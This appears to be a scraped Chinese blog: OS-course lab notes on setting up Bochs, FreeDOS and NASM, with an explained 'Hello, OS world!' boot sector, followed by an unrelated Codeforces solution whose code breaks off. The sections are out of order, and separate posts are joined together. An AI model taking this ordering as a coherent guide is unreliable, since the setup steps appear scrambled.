# choose the boot disk.
boot: a

# where do we send log messages?
# log: bochsout.txt

# disable the mouse
mouse: enabled=0

# enable key mapping, using US layout as default.
# keyboard_mapping: enabled=1, map=/usr/share/bochs/keymaps/x11-pc-us.map

display_library: sdl

接下来,运行 bochs,成功启动的话可以看到 freedos 的命令行界面。

after_boot

那个 format 是我自己打进去的,为了确认键盘能不能用。

如果你遇到的报错是 no boot device,请检查你的启动盘有没有设置对。

不过也有非常多人遇到了进入 bochs 后 freedos 内键盘无法使用的问题,这个我也不清楚怎么解决。(指的是完全打不了字或一打字 bochs 就报错。我们后面用的那个示例 .com 是个死循环,运行后是关不掉也用不了键盘的,只能关掉 bochs)

2.1.4 软盘格式化与挂载

在 freedos 下,你可以运行下面的指令来格式化 B 盘(也就是 pm.img)。

1
format B:\

不同于前面直接将二进制代码写入扇区,在 dos 下运行 .com 需要借助 freedos 的文件系统,所以我们需要先把 pm.img 格式化。如果不这么做的话,在 mount 时会因为无法识别文件系统类型而报错。

其实,你也可以不用到 freedos 下进行格式化,直接在 linux 下执行下面的指令也是可以的。

1
mkfs.fat pm.img

被上述指令格式化的软盘是可以被 freedos 使用的。它默认格式化为 fat12 格式。

P.S. 格式化指根据用户选定的文件系统(如FAT12、FAT16、FAT32、NTFS、EXT2、EXT3等),在磁盘的特定区域写入特定数据,以达到初始化磁盘或磁盘分区、清除原磁盘或磁盘分区中所有文件的一个操作。一个什么都没有的空白软盘和格式化后的软盘是不一样的。

使用下面指令可以挂载,和取消挂载。

1
2
3
4
5
6
7
# 挂载前需要新建文件夹
sudo mkdir /mnt/floppy
sudo mount -o loop pm.img /mnt/floppy
# 可以像正常文件系统那样访问读写这个文件夹
sudo cp a.txt /mnt/floppy
# 取消挂载
sudo umount /mnt/floppy

P.S. 什么是 loop device?它是一种“伪设备”。我们的 pm.img 上虽然有一个文件系统,但它毕竟是虚拟的,不是一个真正的硬件,不能直接访问。所以我们可以用 -o loop(也可以指定具体的 loop device),这样 pm.img 就会与这个伪设备关联,然后我们就得到了一个可挂载的设备。这样我们就可以通过挂载和访问这个设备来访问这个虚拟的文件系统了。

(上面的这段参考了这篇 CSDN 博客维基百科

不管你是不是挂载到 /mnt/xxx 下,被你挂载的文件夹都会被加上权限限制(毕竟是在访问一个设备),所以 mount 以及对文件系统的操作都需要在 root 或 sudo 下进行。

书上的做法是在 cp 完 .com 文件后取消挂载。其实不取消也行,没必要每次都挂载一下。

2.1.5 运行随书示例

dos 下直接运行 .com,会将代码挂到虚拟地址 0100h 处,需要在代码第一行加上 org 0100h。

编译 asm 源码,然后复制到挂载的软盘上,启动 bochs,在 Freedos 上运行即可。

具体的:

1
2
3
4
5
6
7
8
# 注意 这一步要求 pm.inc 和 pmtest1b.asm 在同个目录下
nasm pmtest1b.asm -o pmtest1b.com
# 复制到挂载好的软盘里
sudo cp pmtest1b.com /mnt/floppy
# 运行 bochs
bochs
# 在 freedos 下运行下面指令
B:\pmtest1b.com

运行成功后,你会在 bochs 显示屏上看到一个红色的 P。但是接下来你就无法进行任何操作了,只能关掉 bochs 或用 debug 想办法退出,因为这个程序是个死循环。

2.2 随书汇编源码解读

2.2.1 (彩蛋)当你试图将随书源码作为引导程序

freedos 下执行 .com 程序,不知道会被挂载到什么地方,因此难以设置断点,需要一些额外的手段(后文会提到)。

而引导程序的虚拟地址与逻辑地址是对应的,设置断点非常容易。当然,这种做法是有局限的,有些实验源码使用了 dos 设置的中断(如 21h 的 4ch 带返回值退出程序)。或是程序大于 510 个字节。这些是没有办法用这种手段调试的。

当然,pmtest1.asm 是可以用这种方式调试的。但是,它有一个问题。就是它的末尾并没有 0xaa55。

但是我们不能再使用 times 510-($-$$) db 0 来凑了。因为这个程序有非常多的段。而 $$ 针对的是当前的段。

一种办法是拿我们之前用过的 a.img。它的末尾本来就含有 0xaa55,而我们是非截断写入,因此末尾这两个字节是会保留的。

另一种方法是用下面的指令来写入:

1
echo -ne "\x55\xaa" | dd of=a.img seek=510 bs=1 count=2 conv=notrunc

-ne 的意思是不换行且使用转义符号。其实换不换行无所谓,反正只取前两个字节,取不到后面的 \10(换行符)。这里出于强迫症保证了输出只有两个字节。seek=510 就是从第 510 个字节开始写入(从 0 开始数)。其它之前介绍过了。

你可能会像我一样,直接就把上面这条指令直接写到 makefile 里去了。然后发现写进 a.img 的不是 0xaa55,而是 0x6e2d。

查一下 ascii 码表,你会发现它把 "-n" 当成字符串了。这是怎么回事呢?

其实是 shell 的差异导致的。这篇博客讲的很清楚,解决了困扰我大半天的问题。

2.2.2 一点小小的个人经验

其实这一章全是非常枯燥的知识,东西很多。学的时候看的我头昏眼花。

我本来是打算把知识点什么的全部写进来的,但是编排起来实在有点难度,而且感觉不太符合我的风格(其实就是单纯的懒和烦)。

所以就讲一下我个人的经验吧:

因为源码是有很详细的注释的。直接看源码,看不懂的部分再去查书和 PPT,效率就会大幅提升。

当然这只是个人经验。具体怎么学舒服还得看自己。

以及自己动手写是很重要的。虽然他给的代码非常的长,可能没有什么自己动手写的欲望。但自己敲一遍(至少在回答动手做问题的时候)还是有必要的。口胡永远比不上自己会敲。

后面有空时会逐渐补全各部分的知识点。包括第一章中的一些还可以深入了解的东西也会抽空补全。

2.2.3 有趣问题记录

其实本来是想分析一波原理的。但是实验报告里抄来抄去截来截去已经累死了,原理什么的就自己看书吧。这里只记录下自己在学习时遇到的一些无法理解的有趣问题和分析。

文章目录:

  1. 环境配置与 "hello OS!"

  2. 从实模式到保护模式

1 环境配置与 "hello OS!"

前言

上的是武大网安院严老师的课头。使用的教材是 Orange's 啥啥的那本书。因为第一次课配环境血压飙的有点快,所以开个帖来记录实验过程。

文章里包含大量指向有用文档的超链接,但是都是夹在文字中的,长这样(不用点,只是演示一下长什么样)。看起来不明显,需要仔细识别。后续可能会考虑改进一下,把链接摆在明显的位置,或是换一个主题。

本人的博客向来是话比较多的,因为个人倾向于把所有想到的东西全部写进来。望多多包涵。

随课持续更新中。也可能开一篇新的文章。

说起来,我对这篇博客的定位其实不是特别的明朗。我并不清楚自己到底想写出一篇什么样的东西来。

事实上,如果只是想记录实验步骤和课后习题什么的答案,去年已经有大佬写过了,而且人家的可读性、排版、完成度等也要远远优于我。

因此,我可能更倾向于把我的文章定位为比较随性的、实验过程中发现的有趣的、试图详细理解研究的问题的记录随笔。

因为比较笨,所以我写 acm 题解时大多数时候会默认读者和我一样笨,然后把整个思考过程的过程都很啰嗦地写出来。我暑假语雀更了上万字,不过群友似乎不怎么看得下去。其实说白了,就是我不太擅长整理和精炼语言。

这个不太好的习惯被我延续到了 OS 实验的博客里。因此这对于只打算看个结果自己想和参考下操作的朋友不是特别的友好。我会在更新的过程中慢慢改进的。

1.1 虚拟机平台与操作系统选择

1.1.1 操作系统

根据老师的说法,64 位系统编译 32 位程序比较麻烦,而且有些东西不一样,折腾起来可能很麻烦,所以建议使用 32 位的操作系统。Ubuntu 版本中带有 i386 的,就是 32 位的。

可以在清华源下载想要的系统光驱。16 往前的才有 i386。也可以去别的地方,无所谓。

我使用的是 ubuntu-16.04.6-desktop-i386。下个 torrent 文件用迅雷下就行,蛮快的。

1.1.2 虚拟机平台

关于虚拟机平台,老师推荐 Virtual Box,因为它开源免费,当然它 bug 也很多;VMware 也是推荐选项,它更稳定,不过大多数都是盗版,不排除出现一些难以解决的问题。老师不推荐我们使用 wsl。wsl 确实蛋疼,没有 service 也没有 systemctl,之前装 mysql 研究了半天才找到怎么开启服务。

周围有好多大佬用的奇奇怪怪的非 desktop 的 linux,看着好帅,我比较菜,就算了吧。

我相对熟悉的是 VMware。当然我也试了一下 Virtual Box,但是折腾半天虚拟机一直卡在启动页面打不开,就不想用了。

1.2 一些"无关紧要"的前置准备

1.2.1 修改软件源到镜像站

之前做过很多次的事情。这里我修改的是清华源,参考这里

1
2
3
4
5
6
7
# 先备份一下
cp /etc/apt/sources.list ~/sources.list
# 修改来源 把文档里的内容复制进去(记得改版本)
# 你也可以用 vi,但是用起来很怪,可能是我误触了什么,以后再下个 vim 吧
sudo gedit ~/sources.list
# 然后重新 update 一下
sudo apt update

注意,如果在 sudo apt update 后提示安全证书问题,你可以把 sources.list 里的 https 全部改成 http。

1.2.2 安装 VMware tools 与设置共享文件夹

这里只记录下我具体做了什么,因为我也不知道我在干什么。我用的是 VMware® Workstation 16 Pro。怎么搞到的就不说了。

我先设置的是共享文件夹。在 "虚拟机 -> 设置 -> 选项 -> 共享文件夹"。改成永久启用,然后添加主机上的一个路径。确认之后,类似 wsl2,你就可以通过 /mnt/hgfs 访问主机上的这个文件夹了。

理论上讲这一步最好是重装完 tools 再来做的,但是我提前做了,不清楚会不会有什么影响,所以我将其记录下来作为参考。

但此时我还是不能共享剪切板。所以我重启了一下,然后在菜单栏的虚拟机选项卡里的 "重新安装 VMware tools" 就变黑了。点一下,它大概会把那些东西以一个虚拟光盘的样子挂给你。(因为路径显示的是 /mnt/xxx,所以我猜是挂载的什么玩意)

然后把中间那个 tar.gz 格式的文件复制到 home 目录下,解压出来。不建议直接在那个目录下解压,一个是没有权限,一个是我不知道会发生什么,也不排除本来就是只读的。

然后在解压出来的 VMware-tools-distrib 里打开 terminal,运行 sudo ./vmware-install.pl

然后我就全程回车保持默认,反正也看不懂

注意,重装过程中的所有 overwrite 选项都是默认 no,个人是建议全部输入 yes。

然后就好了,然后就可以共享剪切板了。声明一下:如果你还没好,我也不太懂,因为我确实不知道这个安装程序是在干什么。

重装了 tools 后,原来设置的共享文件夹找不到了。所以你需要再删掉重新添加一次。用不用重启我忘了。

我装完 VM tools 之后 VMware 偶尔会出现半分钟左右的莫名奇妙的无响应,不知道在加载什么东西。且这段时间里我主机无法使用复制黏贴功能。不知道有没有遇到相同问题的大佬指导一下。我用的是 VMware® Workstation 16 Pro 16.1.2 build-17966106。

1.2.3 为 github 账户添加新的 ssh key

我有三个虚拟机和一个主机,所以我的 github 账户有四个 key。

当然这个只是个人习惯,完全没打算用远端仓库或是习惯直接输入账号密码的可以无视这部分。

需要注意的是,出于安全上的考虑,过去很多教程里生成 key 的方式不再被支持了。

可以参考官方的指南

因为我 ssh 用的不多,基本上是每个机子只用同一个 key 到处连,所以没有管 ssh-agent。生成完直接看下一节的添加就行。

也可以参考这个博客。too much 教程,这里就不扯皮了。

1.2.4 zsh oh-my-zsh 相关配置

老师说你们别折腾什么中文输入法,说有人折腾了半天结果把系统搞崩了,最后重装虚拟机。中文输入法确实没有必要,但是 zsh 和 oh-my-zsh 必须要有!(暴论

好吧这个依然是个人习惯。

首先是安装 zsh,很简单 sudo apt install zsh

问题在于怎么设置 zsh 为默认终端。这个东西这个版本上不能直接 chsh -s /bin/zsh,要在 gnome terminal 的图形化界面里面手动修改。

需要注意的是它的界面和平常用的 windows 不太一样。当终端在前台运行时,桌面左上角会有一个 terminal 的字样,光标移动到它上面,才会出现我们平常见的菜单栏。Terminal -> Preferences -> Profiles,可以直接改原来的这个配置,也可以建一个新的,但是要记得改下面的 profile used when launching a new terminal。

把 profile 里 run a custom command install of my shell 勾上,写上 zsh。顺便把下面的 exit 效果设置成退出终端,体验就和 chsh 基本一致了。

然后自然是要安装 oh-my-zsh。以前小乖乖的游记的时候我用的是改 host 的方式。其实没有必要。我们可以借助国内的镜像。

我们知道这个 oh-my-zsh 是开源的。之所以直接用官网给的安装链接安装不了,是因为 raw.github.com 上不去。那我们直接把这个文件下载下来不久行了。

当然我是连 github 本身也上不去的,所以我选择的是直接使用 gitee 上的镜像

首先把 /tools/install.sh 搞下来。直接 clone 整个项目或是 wget 之类的都行。

然后打开来看一眼,它告诉你可以执行的时候加上 REMOTE 参数来指定源。指定源来跑就行了。我用的是 ssh,用 http 也一样

1
2
3
4
5
6
7
8
9
10
# You can tweak the install behavior by setting variables when running the script. For
# example, to change the path to the Oh My Zsh repository:
# ZSH=~/.zsh sh install.sh
#
# Respects the following environment variables:
# ZSH - path to the Oh My Zsh repository folder (default: $HOME/.oh-my-zsh)
# REPO - name of the GitHub repo to install from (default: ohmyzsh/ohmyzsh)
# REMOTE - full remote URL of the git repo to install (default: GitHub via HTTPS)
# BRANCH - branch to check out immediately after install (default: master)
REMOTE=git@gitee.com:mirrors/oh-my-zsh.git sh install.sh

弄完后,可以尝试添加一些插件。比如 zsh-syntax-highlighting

照着它的文档弄就行了。我们装了 ohmyzsh,所以按它教的 ohmyzsh 安装插件的方式来装。

1.3 实验环境配置

1.3.1 Bochs 安装

Bochs 是个模拟器。教材用的是 Bochs,我也不会 Qemu,所以这里用 Bochs。后续可能会考虑看一下 Qemu。

P.S. 模拟器和虚拟机是有很大区别的。模拟器的所有指令都需要经过软件的模拟,也因此它可以跑另一种 CPU 架构下的系统。而个人理解的虚拟化强调的是物理资源的抽象和分配。具体的可以百度 Formal Requirements for Virtualizable Third Generation Architectures 这篇论文了解。当然这和这个实验没有任何关系,我们并不是在研究虚拟化技术,我们研究的是如何实现一个简单的操作系统。

Bochs 可以从官方网站上下载。似乎需要翻墙,各显神通吧。但是我自己在尝试下载的时候,找了半天下载入口。

其实你需要点 Get Bochs -> see all release,然后会跳转到这里。在这里下载 tar.gz 格式的安装包。用共享文件夹或是别的手段搞到虚拟机里。因为我们后续需要使用一些特殊的 configure 选项,所以要下载源码手动编译。

编译的过程可以参考官方文档,上面也写有各个参数的详细意义。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 安装依赖。虽然说 make 的时候再根据报错来装也可以。
sudo apt install build-essential \
libx11-dev \
libxrandr-dev \
libsdl1.2-dev \
vgabios \
bximage
# 运行 configure 脚本 带上 PPT 上要求的参数
# 第一个参数好像是 display library 相关的
# 第二个是开启 debug
# 最后这个参数我的版本似乎不需要加 会被直接忽略
./configure --with-sdl --enable-debugger --enable-disasm
# 编译和安装
make
sudo make install

P.S. 安装完成后,根据文档的 3.4.1.3,文件的默认目录是 /usr/local/xxx。在后续修改 bochsrc 时会用到 /usr/local/share/bochs 这个目录。

1.3.2 nasm 安装

本实验使用 nasm 来编译汇编源码。直接 sudo apt install nasm 即可。

1.4 Hello OS!

1.4.1 随书源码下载

这本书是由随书源码的。osfs00是这些源码的总目录和随书光碟。课上到哪就去对应的链接里找源码,比如这一节的。老师也会下载了丢在群里,可以用共享文件夹传到虚拟机里。

可以 clone 下来后修改下 boshsrc 直接 make,因为它有一个写好的 makefile。下面我们不用它的 makefile,一步一步手动进行,先熟悉一下。

1.4.2 我们要做什么?

计算机加电时,首先执行的是 BIOS。这是集成在硬件(芯片)中的程序,它会完成基本的 IO 初始化和硬件自检,然后运行系统引导程序,将 OS 装载到 ram 中,并将计算机控制权交给 OS。

或者我们可以说,它的功能是:初始化硬件平台和提供硬件的软件抽象,引导操作系统启动。

我们接下来实现的,其实是操作系统的一个部分:一个引导程序(OS Boot Loader)。在平时,boot loader 的功能是将 OS kernel 装载到内存中。但是我们现在还搞不出内核这种复杂的东西。

因此,在本次实验中,我们其实是利用 Boot Loader 来跑一段简单的汇编程序。在这个过程中体验 PC 机启动和操作系统的初始化过程。

1.4.3 制作一张空白软盘

首先我们需要一张空白的虚拟软盘。Bochs 为我们提供了一个方便的虚拟光驱创建工具 bximage。相关的参数等可以在这里查到。

直接运行 bximage,会有一个交互界面。根据提示一步一步进行就行了。我们需要的是一个软盘(fd, floppy image),其余部分可以全部保持默认。你也可以改名字。

创建完成后,它会有提示,比如:The following line should appear in your bochsrc: floppya: image="b.img", status=inserted。

后面修改 bochsrc 的时候要用到。

根据文档,你也可以直接用指令生成这个软盘而不是进入交互界面:(从 xygg 的实验报告里 copy 出来的)

1
bximage -func=create -fd=1.44M -q a.img

当然你也可以不自己生成,直接从随书源码里的 a.img.gz 解压出来。

1.4.4 写入引导程序

引导软盘上装载的是引导程序,重点在程序。在本实验中,是由一段神奇短小的汇编代码实现的,那段代码我们后面再来分析。这里先拿随书源码中现成的 boot.asm,来制作一张引导软盘。

首先编译 nasm boot.asm -o boot.bin

然后运行下面的指令:dd if=boot.bin of=a.img bs=512 count=1 conv=notrunc

dd 是 linux 中自带的指令,一般用于文件的复制、读写、转码等,它可以加入很多的参数。

在这个指令中,if 和 of 指定的是输入文件和输出文件,不指定时默认是标准输出。bs 是块的大小,count 是块的数量。notrunc 的意思是 no truncate,非截断。我们这里需要的是一个完整的软盘,自然是不能让它截断的。

(虽然其实这个实验里,后面的部分并不会用上,截断了也不是不能跑)

P.S. 什么是截断?举例而言:echo "hello" > a.txt,如果 a.txt 本来是个很大的文件,那它的大小会被改变,只剩 "hello" 占的大小(当然实际可能是一个块的大小,这里只是举个例子)。截断的意思大概是,把大于输入的部分全部"删掉",把输出文件"截"剩下输入的大小。

总之,现在我们就得到了一张引导盘。可以开始准备跑起来了。

1.4.4 boshsrc 修改

由于教材比较古老,所以随书源码的 boshsrc 有些配置已经失效了,需要进行修改。

最重要的是 romimage 和 vgaromimage 的文件目录。

最简单的判断路径对不对的方法是直接 cd 进去看看有没有这个文件。

这里的 romimage 指的是 BIOS 的 image,是随 bochs 分发的。根据文档,它的默认位置应该是:/usr/local/share/bochs/BIOS-bochs-latest。

事实上这个文件也是部署的时候从你下载的源码包里面 copy 过去的,所以你直接在你下下来的解压的文件夹里也能找到这个 image,例如 bochs-2.7/bios/BIOS-bochs-latest。

如果你实在找不到,也可以 sudo find / -name "BIOS-bochs-latest"

至于 vgabios,直接 whereis vgabios 就可以找到(在前面安装依赖时,它是直接 apt install 的)。

软盘部分在创建后 bximage 会给出提示,我们前面提到过了。

最后面的 keyboard_mapping 部分要注释掉。这个东西 15 年就有个 issue 了。应该是个已经被抛弃的写法。

PPT 上还提到了 display_library。可以参考文档的 4.3.3。似乎与模拟器的显示有关。根据文档,不加的话默认选的应该也是 sdl(我们 configure 的参数也是 sdl),不过我还是加上了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# how much memory the emulated machine will have
megs: 32

# filename of ROM images
# 这里需要修改
romimage: file=/usr/local/share/bochs/BIOS-bochs-latest
vgaromimage: file=/usr/share/vgabios/vgabios.bin

# what disk images will be used
# 这里在创建完软盘后 bximage 会给你提示,根据提示给出的填就行
floppya: 1_44=a.img, status=inserted

# choose the boot disk.
boot: floppy

# where do we send log messages?
# log: bochsout.txt

# disable the mouse
mouse: enabled=0

# 下面的部分要注释掉
# enable key mapping, using US layout as default.
# keyboard_mapping: enabled=1, map=/usr/share/bochs/keymaps/x11-pc-us.map

# 下面的可选择加上
display_library: sdl

1.4.5 运行效果及部分常见报错

接下来就可以直接运行了 bochs -f bochsrc(也可以直接 bochs,只要在同一个目录内)。

因为前面开了 debug,所以你要在交互窗口上输入 'c',让它继续运行。运行结果是,在弹出来的窗口上看到一行红色的 "Hello, OS world!"。

报错 1:couldn't open ROM image file。你的 bochsrc 里面路径错了需要检查一下。

报错 2:其实严格来说不是报错。如果你发现你的第一条指令不是 jmp,而是 add [bx+si],al(其实这条指令的机器码是0000)(我们开了 debug,在输入 c 的时候会注意到的),之类的很奇怪的指令,还一直报奇怪的数学运算错误之类的,那就是你的 rom image 选错了。那个是随 bochs 分发的 BIOS image,而不是你自己的创的 a.img。具体可以看前面 1.4.4。

1.5 hello os 源码分析与调试

1.5.1 无关紧要的前置准备

恭喜,我们运行了 hello os。但是别急,我们还要研究一下这个汇编程序在干什么。

在研究的过程中,我们可能会需要修改这个 boot.asm 来测试产生的变化。但是,我们每次修改都要走一遍上面的流程:编译 - 写入 - 运行(虽然其实只是 cv 三条指令)。我们可以写个脚本,让这个过程自动化。

你可能注意到了随书源码里的 makefile。你可以直接在上面改,也可以写个新的脚本。

其实那个 makefile 是可以直接用的,每次 make 解压一个新的 a.img 出来也是更合理的做法。当然,本实验中每次挂载进去的都是同样大小的内容,所以解不解压并没有什么影响。

草了,它给的那个 a.img.gz 里的 a.img 根本就不是一个空白软盘。它本来就是烧过的。所以你会发现直接注释掉 dw 0xaa55 它照样能跑,因为你写入 boot.bin 的方式是非截断的,原本就烧在里面的 0xaa55 并不会被你覆盖掉。

如果你不想像我下面这样直接生成一个新的软盘,应该删掉原来的 a.img.gz,自己用 bximage 弄出一个空白 a.img 后重新压缩成 a.img.gz。

1
2
3
4
# 如果已经存在 a.img 别忘了回答 yes
# 或者你也可以先 rm a.img
bximage -func=create -fd=1.44M -q a.img
gzip a.img

个人不建议一直用同一个被烧过的软盘跑,除非你保证每次都能把前面烧的内容覆盖掉。毕竟我们写入的方式是非截断的,并不会自动覆盖或重置掉后面的内容。

1
2
3
4
5
6
run :
rm a.img
bximage -func=create -fd=1.44M -q a.img
nasm boot.asm -o boot.bin
dd if=boot.bin of=a.img bs=512 count=1 conv=notrunc
bochs

如果你有按我上面说的重新打包一个 a.img.gz,你也可以维持原本的 makefile 不变。

这样我们每次改完 asm 就可以直接 make 啦。

或把上面的指令抄到 sh 文件里,加个可执行权限。

然后还有一个有趣的小工具,xygg 找到的,nasmfmt,一个格式化汇编代码的小工具。

1.5.2 源码分析

下面就是随书自带的源码了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
	org	07c00h			; where the code will be running
mov ax, cs
mov ds, ax
mov es, ax
call DispStr ; let's display a string
jmp $ ; and loop forever
DispStr:
mov ax, BootMessage
mov bp, ax ; ES:BP = string address
mov cx, 16 ; CX = string length
mov ax, 01301h ; AH = 13, AL = 01h
mov bx, 000ch ; RED/BLACK
mov dl, 0
int 10h
ret
BootMessage: db "Hello, OS world!"
times 510-($-$$) db 0 ; fill zeros to make it exactly 512 bytes
dw 0xaa55 ; boot record signature

程序第一行是一条伪指令,用来告诉编译器你后面的程序是从 07c00h 开始的(因为根据 Intel 80386,引导盘上的程序会被放到内存的 07c00h 处)。这会影响编译器对后面部分需要寻址的指令的编译。如果不加的话,编译器会认为程序是从 00000h 开始的,导致有些指令翻译成机器码后不能找到正确的地址。(比如 jmp $mov ax, BootMessage

后面我们会分析反汇编后的代码,在反汇编后这个伪指令的作用会体现的更清晰。

P.S. 我一开始以为它真的会使编译出的 bin 文件前面有 31kb 的空白,23333。事实上编译出来的只是机器码的二进制程序,这个程序具体会被塞到哪里,并不是由编译器来决定的,编译器能做的只有把汇编翻译成机器码。

根据大一下学期学的 16 位实模式下 x86 汇编知识,我们知道 cs, ds, es, ss 是四个段寄存器。其中 cs:ip 指向现在正在执行的指令地址,ss 和 sp 是栈相关的(pop 使 sp 增加,push 使之减少)。es 和 ds 被用作数据段,es:[di], ds:[si]。

当然我们知道 32 位下是不一样的,比如 ip 变成了 eip 等。这暂时不重要,我们以后会学到的。这里只需要知道它是在初始化段寄存器就行。以及我们这个代码内使用的寄存器,实际上全是 16 位及以下的。

事实上,ds 在后面的代码中并没有用到,所以也可以不赋初值。

然后接下来调用了 display string 的"函数"。这个函数内部的实现我们待会说,先回顾一下 call 和 ret。call 做的,是把下一条指令的 eip 压入栈中,然后 jmp 到 DispStr 表示的偏移处。ret 则是把栈顶赋给 eip。

然后是 jmp $。后面还有另一处用到了 $$。对于这两个标志,官方文档中的解释是:

NASM supports two special tokens in expressions, allowing calculations to involve the current assembly position: the $ and $$ tokens. $ evaluates to the assembly position at the beginning of the line containing the expression; so you can code an infinite loop using JMP $. $$ evaluates to the beginning of the current section; so you can tell how far into the section you are by using ($-$$).

此处可以简单理解为当前位置偏移量和所在节偏移量。我们这个程序中只有一个所谓的节,所以可以理解为程序开始的位置,也就是 07c00h。

jmp $ 的含义就是"跳转到当前指令"。这显然会是一个无限的循环。

最后三行都是我们学过的伪指令。db dw dd 是用来填放数据的,对应 byte, word, double word(字节,字,双字)。

$-$$ 可以理解为这条伪指令前面的部分已经占了多大。times 的意思是重复。显然的这个伪指令的意思就是填充 0 到 510 字节。

最后两个字节比较特殊,是 BIOS 识别引导扇区的依据,必须是 0xaa55。

如果不是 0xaa55 会发生什么?BIOS 会因为找不到启动引导盘而异常退出。你会在 bochs 收到一条这样的报错:[BIOS ] No bootable device.

接下来分析函数内的部分。

1
2
3
4
5
6
7
8
9
DispStr:
mov ax, BootMessage
mov bp, ax ; ES:BP = string address
mov cx, 16 ; CX = string length
mov ax, 01301h ; AH = 13, AL = 01h
mov bx, 000ch ; RED/BLACK
mov dl, 0
int 10h
ret

这个函数其实就是在调用中断处理程序。

前两行是在设置 bp 寄存器。事实上,变址寄存器并不是不能直接用立即数赋值,所以直接改成 mov bp, BootMessage 并没有什么问题。

es 前面设置过了。现在 es:bp 指向的是我们要显示的字符串的地址了。接下来的几行指令也是类似的,在设置调用的参数。然后 int 10h 调用中断处理程序。

我们大一上时学过这个。我们最熟悉的应该是 21h。大多数的中断例程都是通过 ah 来传递功能编号。我们这里调用的也许是 10h 号中断的 13h 号功能。

这个中断的相关信息我找到了这一篇 blog。可以参考一下,大概是差不多的意思。

xygg 太强了,什么都知道。官方文档在这里

好像也没什么好解释的,就是调用了个 bios 里的中断处理程序显示了个字符串。

关于中断处理程序的组成,之前学过,但暂时还不需要,就不扯了。

1.5.3 反汇编

反汇编在这里是为了更好的理解代码的逻辑,观察代码实际编译的效果。

nasm 不仅提供了汇编的功能,也提供了反汇编的功能。你可以使用 ndisasm 进行反汇编。

具体的,我们使用下面的指令:

1
2
3
4
5
6
7
# 直接执行 ndisasm 可以看到它的帮助
# 课本里的 -o 0x7c00 是 origin 的意思,类似 org 0x7c00,是告诉反汇编程序这段代码是被装载在 0x7c00 处的
# 个人建议不加
ndisasm -o 0x7c00 boot.bin > disboot.asm
ndisasm -o boot.bin > disboot.asm
# 用 objdump 也可以
objdump -b binary -D -m i8086 -M intel boot.bin

为什么我不建议加 -o 0x7c00 呢。因为它会使 call 和 jmp 指令反汇编出来的东西“看上去不一样”。实际上这两在这里都是相对寻址,但是如果你不仔细对比机器码看的话,很容易产生误解。而且不加这条的话,mov ax, BootMessage 的反汇编效果会更加明显,更能体现出 org 指令的作用。

这里就不给出反汇编的代码了,只用看前几行就行,因为它会把你填充的数据和 "hello os" 也当成指令反汇编。

1.5.4 bochs 调试

关于 debugger 相关的文档在这里

也可以参考书上这个图。

debug

查看 gdt ldt 可以直接 info gdt

原题链接:https://codeforc.es/contest/1707/problem/C[https://codeforc.es/contest/1707/problem/C]

(家里网络不是很好,最近主站经常上不去,只好上镜像了)

题目大意

给你一个错误的求最小生成树的算法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
vis := an array of length n
s := a set of edges

function dfs(u):
vis[u] := true
iterate through each edge (u, v) in the order from smallest to largest edge weight
if vis[v] = false
add edge (u, v) into the set (s)
dfs(v)

function findMST(u):
reset all elements of (vis) to false
reset the edge set (s) to empty
dfs(u)
return the edge set (s)

输入一个无重边无自环的联通无向图,且第 \(i\) 条边的边权为 \(i\)。问你调用 findMST(1), findMST(2), ..., findMST(n) 之后,哪些真的找到了 MST。

思路分析

比赛时毫无思路。第二次打 div1,这场的 A 太吓人了,想了老半天,中途一度想润,看到约好一起打的同学已经罚了一发了,只好硬着头皮打下去。结果最后还是掉分了呜呜呜,刚上的橙24小时不到又回去了呜呜呜。

扯歪了,回到这道题上来。

首先,这道题的边权设定,意味着边权两两不同,意味着 MST 有且只有一个。我们可以直接确定出这棵 MST 和不在 MST 里的是哪些边。

这个错误代码的特点是,它用了 DFS。DFS 意味着:访问到一个点后,回溯前,这个点所有的边都会被扫一遍。

因此,我们可以看出第一个问题:

如果边 \((u, v)\) 不在 MST 内,我们假设在 MST 中的边都能正常经过(或者说我们假设不合法边只有这一条)。

那在 DFS 经过 u 之后,必须在回到 u 之前先到达 v。换言之,MST 上必须存在一条不需要经过之前已经经过的点的路径,来从 u 到达 v。

也就是,从满足这个条件:把 v(或 u) 当作 MST 的根时,在 u(或 v) 子树内的点,的点开始 DFS,才可能满足这个要求。其它点必然在回溯到 u 或 v 时走到 (u, v) 这条边。

我们再观察一下 DFS 进行的方式:是从小到大遍历当前点的边。

那有没有可能说,尽管满足了上面的条件,也就是虽然存在一条 MST 上的路径能走到 v,但却选择了 (u, v) 的情形呢?

答案是不可能的,如果先选了 (u, v),那意味着 MST 内的那条边是更大的。那我们把 MST 内的那条边换成 (u, v),因为已经知道 u 到 v 有路径连着了,换成 (u, v) 后它依然是个生成树,而且边权和就更小了,这与我们已经确定的 MST 是矛盾的。

综上,我们可以说上面这个条件是一个充分且必要的条件。

换言之,你可以对于每条边求出能不经过这条边的 DFS 起点。最后扫一遍看看哪个点可以不经过任何不合法边就行了。

处理时,我们可以假定一个根,然后我们会看到两种情形:

前者,子树互相包含的情况。下面那个点直接取子树,上面的点就是除了子树内包含下面那个点的儿子的那棵子树外,其它的点都可以取。

后者,就是直接取二者的子树了。

用 dfs 序啊树状数组之类的东西搞一下就行了。我用的是链剖。

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#include <cstdio>
#include <algorithm>
#include <cstring>
#include <vector>
using namespace std;
typedef long long ll;
#define rep(i, a, b) for(int i = (a); i <= (b); i++)
const int N = 1e5 + 5, M = 2e5 + 5;
int n, m, f[N], ex[M][2], ce; // 注意 ex 的大小!
int find(int x) {
return f[x] == x ? x : f[x] = find(f[x]);
}
int head[N], nex[N << 1], to[N << 1];
inline void addEdge(int u, int v) {
static int cc = 0;
nex[++cc] = head[u], head[u] = cc, to[cc] = v;
}
int dfn[N], cnt[N], hson[N], dad[N], topf[N], A[N];
void dfs1(int u, int fa) {
cnt[u] = 1, dad[u] = fa;
for(int i = head[u]; i; i = nex[i]) {
if(to[i] == fa) continue;
dfs1(to[i], u);
cnt[u] += cnt[to[i]];
